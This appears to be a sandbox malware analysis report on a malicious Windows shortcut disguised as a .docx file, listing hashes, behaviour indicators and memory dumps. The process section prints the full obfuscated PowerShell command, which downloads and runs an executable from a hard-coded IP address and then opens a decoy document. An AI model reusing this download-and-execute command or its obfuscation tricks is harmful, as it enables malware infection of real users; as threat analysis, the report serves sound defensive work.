0973bf4ab963c2de6c69c3809ed228f0caf00409f4c09e78029640f2026dc19e

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
30/08/2024, 11:11

Target

oshad_88.docx.lnk
Size

15KB
MD5

b8fb0340c7a12ae9d4a3847ac14308cb
SHA1

4675f3d8a12942068e609fd2f12f2f020fe5762e
SHA256

a2bfa5db078137d391b392758fca56b34c8d3c9b0a7e23b1ba9fa9a2edf91000
SHA512

d9504ca3211e14412ba697d43983e21d100143c5a68be1799e74a704ac76ee6dc999aef09bcd10fb87b9b975bd8184815b6fc2e90ebd96e4f737244a6546d6b0
SSDEEP

48:88muavUQSEfFy63YMEDo/atNixCyQvGDDo/DBdCZZGXu/dZZIa7x:88y8GFy63hXEIxCyQ/zuqQ

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2572	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2572	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2660 wrote to memory of 2572	2660	cmd.exe	32
PID 2660 wrote to memory of 2572	2660	cmd.exe	32
PID 2660 wrote to memory of 2572	2660	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\oshad_88.docx.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo sviYiTDifmVgwUmQzFgOPYIV; echo JzJdBqRYxLImYrcCLbpdqvjXsIJfpWlZfWY; echo ZKgorOmcNJZZMbukHvugkdfvZrLIe; if (-not(Test-Path 'signalmessenger.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/signalmessenger.zip -OutFile signalmessenger.zip}; echo SRChLBIQjesWVTeXbGypCUPpLnWGEpbzmlAuNYge; Expand-Archive -Path signalmessenger.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/Newfts.exe; echo tAtLAczHKJaDGfRcGQexTEXSHDzsHxFvifZtnswW; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/racs/oshad_88.docx -OutFile oshad_88.docx; echo SQwXgOGQnSfQxMfeOlQMGbil; s''t''a''rt oshad_88.docx
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2572

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/2572-38-0x000007FEF586E000-0x000007FEF586F000-memory.dmp

Filesize
4KB

Download
memory/2572-39-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2572-40-0x0000000002780000-0x0000000002788000-memory.dmp

Filesize
32KB

Download
memory/2572-41-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/2572-45-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/2572-44-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/2572-43-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/2572-42-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/2572-46-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download